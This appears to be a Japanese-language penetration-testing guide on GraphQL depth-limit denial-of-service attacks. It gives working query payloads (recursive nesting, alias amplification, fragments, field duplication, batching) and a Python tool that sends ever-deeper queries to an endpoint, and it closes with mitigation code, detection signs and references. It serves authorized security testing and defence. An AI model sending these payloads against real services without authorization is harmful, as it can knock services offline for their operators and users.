performing-graphql-depth-limit-attack

GraphQL の深度制限攻撃の実行

概要

GraphQL の深度制限攻撃では、GraphQL スキーマの再帰的な性質を悪用して深くネストされたクエリを作成し、過剰なサーバーリソースを消費させてサービス拒否を引き起こします。固定されたエンドポイントを持つ REST API とは異なり、GraphQL ではクライアントが任意のデータ構造をリクエストできます。スキーマに循環する関係（例：User → Posts → Author → Posts）が含まれている場合、攻撃者は無限に再帰するクエリを作成し、サーバーの CPU、メモリ、データベース接続、ネットワーク帯域幅に過剰な負荷をかけることができます。

使用するタイミング

• GraphQL の深度制限攻撃を実行するセキュリティ評価を行う場合
• 関連するセキュリティインシデントに対するインシデント対応手順に従う場合
• 定期的なセキュリティテストや監査を実施する場合
• 実地テストを通じてセキュリティ制御を検証する場合

前提条件

• イントロスペクションが有効になっている、またはスキーマが判明している対象の GraphQL API エンドポイント
• GraphQL クライアントツール（GraphiQL、Altair、Insomnia、または curl）
• 自動テスト用の requests ライブラリをインストールした Python 3.8 以降
• トラフィック分析用の Burp Suite または mitmproxy
• 対象に対してセキュリティテストを実施する権限

法的通知： このスキルは、許可を得たセキュリティテストおよび教育目的に限り使用してください。所有していないシステム、またはテストの書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター犯罪に関する法律に違反する可能性があります。

主な攻撃手法

1. 再帰的な深度攻撃

GraphQL スキーマに双方向の関係がある場合、クエリでそれらを再帰的に参照できます。

# Schema with circular reference:
# type User { posts: [Post] }
# type Post { author: User }

# Attack query with excessive nesting depth
query DepthAttack {
  users {
    posts {
      author {
        posts {
          author {
            posts {
              author {
                posts {
                  author {
                    posts {
                      author {
                        posts {
                          title
                          author {
                            name
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

2. エイリアスによる増幅

バッチクエリがブロックされている場合、エイリアスを使うと、1 つのクエリ内で同じフィールドのリクエストを増幅できます。

query AliasAmplification {
  a1: user(id: 1) { posts { author { name } } }
  a2: user(id: 1) { posts { author { name } } }
  a3: user(id: 1) { posts { author { name } } }
  a4: user(id: 1) { posts { author { name } } }
  a5: user(id: 1) { posts { author { name } } }
  a6: user(id: 1) { posts { author { name } } }
  a7: user(id: 1) { posts { author { name } } }
  a8: user(id: 1) { posts { author { name } } }
  a9: user(id: 1) { posts { author { name } } }
  a10: user(id: 1) { posts { author { name } } }
}

3. フラグメントスプレッド攻撃

フラグメントを使うと、複雑で深くネストされたクエリをより効率的に構成できます。

fragment UserFields on User {
  name
  email
  posts {
    title
    comments {
      body
      author {
        ...NestedUser
      }
    }
  }
}

fragment NestedUser on User {
  name
  posts {
    title
    author {
      name
      posts {
        title
        author {
          name
        }
      }
    }
  }
}

query FragmentAttack {
  users {
    ...UserFields
  }
}

4. フィールド複製攻撃

選択セット内で同じフィールドを複数回繰り返すと、処理負荷が増加します。

query FieldDuplication {
  user(id: 1) {
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
  }
}

5. バッチクエリ攻撃

1 つの HTTP リクエスト内で複数のクエリを送信します。

[
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"}
]

自動テストスクリプト

#!/usr/bin/env python3
"""GraphQL Depth Limit Attack Testing Tool

Tests GraphQL endpoints for depth limiting vulnerabilities
by sending progressively deeper nested queries.
"""

import requests
import time
import json
import sys
from typing import Optional

class GraphQLDepthTester:
    def __init__(self, endpoint: str, headers: Optional[dict] = None):
        self.endpoint = endpoint
        self.headers = headers or {"Content-Type": "application/json"}
        self.results = []

    def generate_nested_query(self, depth: int, field_a: str = "posts",
                               field_b: str = "author",
                               leaf_field: str = "name") -> str:
        """Generate a recursively nested GraphQL query to a specified depth."""
        query = "{ users { "
        for i in range(depth):
            if i % 2 == 0:
                query += f"{field_a} {{ "
            else:
                query += f"{field_b} {{ "
        query += leaf_field
        query += " }" * (depth + 1)  # Close all braces
        query += " }"
        return query

    def generate_alias_query(self, count: int, inner_query: str) -> str:
        """Generate a query with multiple aliases."""
        aliases = []
        for i in range(count):
            aliases.append(f"a{i}: {inner_query}")
        return "{ " + " ".join(aliases) + " }"

    def send_query(self, query: str, timeout: int = 30) -> dict:
        """Send a GraphQL query and measure response metrics."""
        payload = json.dumps({"query": query})
        start_time = time.time()
        try:
            response = requests.post(
                self.endpoint,
                data=payload,
                headers=self.headers,
                timeout=timeout
            )
            elapsed = time.time() - start_time
            return {
                "status_code": response.status_code,
                "response_time": round(elapsed, 3),
                "response_size": len(response.content),
                "has_errors": "errors" in response.json() if response.status_code == 200 else True,
                "error_message": self._extract_error(response),
                "success": response.status_code == 200 and "errors" not in response.json()
            }
        except requests.exceptions.Timeout:
            elapsed = time.time() - start_time
            return {
                "status_code": 0,
                "response_time": round(elapsed, 3),
                "response_size": 0,
                "has_errors": True,
                "error_message": "Request timed out",
                "success": False
            }
        except requests.exceptions.ConnectionError:
            return {
                "status_code": 0,
                "response_time": 0,
                "response_size": 0,
                "has_errors": True,
                "error_message": "Connection refused - possible DoS",
                "success": False
            }

    def _extract_error(self, response) -> str:
        try:
            data = response.json()
            if "errors" in data:
                return data["errors"][0].get("message", "Unknown error")
        except (json.JSONDecodeError, IndexError, KeyError):
            pass
        return ""

    def test_depth_limits(self, max_depth: int = 20):
        """Progressively test increasing query depths."""
        print(f"Testing depth limits from 1 to {max_depth}...")
        print(f"{'Depth':<8}{'Status':<10}{'Time(s)':<12}{'Size(B)':<12}{'Result'}")
        print("-" * 65)

        for depth in range(1, max_depth + 1):
            query = self.generate_nested_query(depth)
            result = self.send_query(query)
            result["depth"] = depth
            self.results.append(result)

            status = "OK" if result["success"] else "BLOCKED"
            print(f"{depth:<8}{result['status_code']:<10}{result['response_time']:<12}"
                  f"{result['response_size']:<12}{status}")

            if result["error_message"] and "depth" in result["error_message"].lower():
                print(f"\n[+] Depth limit detected at depth {depth}")
                print(f"    Error: {result['error_message']}")
                return depth

            if result["status_code"] == 0:
                print(f"\n[!] Server became unresponsive at depth {depth}")
                return depth

        print(f"\n[!] WARNING: No depth limit detected up to depth {max_depth}")
        return None

    def test_alias_amplification(self, alias_counts: list = None):
        """Test alias-based amplification attacks."""
        if alias_counts is None:
            alias_counts = [1, 5, 10, 25, 50, 100]

        print(f"\nTesting alias amplification...")
        inner = 'user(id: "1") { posts { title } }'

        for count in alias_counts:
            query = self.generate_alias_query(count, inner)
            result = self.send_query(query)
            status = "OK" if result["success"] else "BLOCKED"
            print(f"  Aliases: {count:<6} Status: {result['status_code']:<6} "
                  f"Time: {result['response_time']:<8}s  {status}")

    def generate_report(self) -> dict:
        """Generate a summary report of all tests."""
        successful = [r for r in self.results if r["success"]]
        blocked = [r for r in self.results if not r["success"]]
        max_successful_depth = max([r["depth"] for r in successful], default=0)

        return {
            "endpoint": self.endpoint,
            "total_tests": len(self.results),
            "successful_queries": len(successful),
            "blocked_queries": len(blocked),
            "max_successful_depth": max_successful_depth,
            "depth_limit_enforced": len(blocked) > 0,
            "vulnerability": "HIGH" if max_successful_depth > 10 else
                           "MEDIUM" if max_successful_depth > 5 else "LOW"
        }


if __name__ == "__main__":
    endpoint = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:4000/graphql"
    tester = GraphQLDepthTester(endpoint)
    tester.test_depth_limits(max_depth=15)
    tester.test_alias_amplification()

    report = tester.generate_report()
    print(f"\n{'='*50}")
    print(f"REPORT SUMMARY")
    print(f"{'='*50}")
    for key, value in report.items():
        print(f"  {key}: {value}")

緩和策

深度制限

// Using graphql-depth-limit (Node.js)
const depthLimit = require('graphql-depth-limit');
const server = new ApolloServer({
  typeDefs,
  resolvers,
  validationRules: [depthLimit(5)]
});

クエリの複雑度分析

// Using graphql-query-complexity
const { createComplexityRule } = require('graphql-query-complexity');

const complexityRule = createComplexityRule({
  maximumComplexity: 1000,
  estimators: [
    fieldExtensionsEstimator(),
    simpleEstimator({ defaultComplexity: 1 })
  ],
  onComplete: (complexity) => {
    console.log('Query complexity:', complexity);
  }
});

レート制限とタイムアウト制御

# Server-side timeout configuration
GRAPHQL_CONFIG = {
    "max_depth": 5,
    "max_complexity": 1000,
    "max_aliases": 10,
    "query_timeout_seconds": 10,
    "max_batch_size": 5,
    "rate_limit_per_minute": 100
}

検出の兆候

• サーバーログに記録された、通常よりも深くネストされた、または複雑な GraphQL クエリ
• 特定のクエリパターンと相関した応答時間の急増
• GraphQL サーバープロセスのメモリまたは CPU 使用率の高さ
• クエリの複雑度を段階的に高めたリクエストの繰り返し
• 1 回のクエリリクエストから返される大きなレスポンスペイロード

参考資料

• OWASP GraphQL チートシート：https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html
• Apollo GraphQL セキュリティガイド：https://www.apollographql.com/blog/securing-your-graphql-api-from-malicious-queries
• Checkmarx GraphQL 深度の悪用：https://checkmarx.com/blog/exploiting-graphql-query-depth/
• GraphQL.org のセキュリティ情報：https://graphql.org/learn/security/
• Escape.tech の循環クエリ：https://escape.tech/blog/cyclic-queries-and-depth-limit/
• PortSwigger の GraphQL 脆弱性：https://portswigger.net/web-security/graphql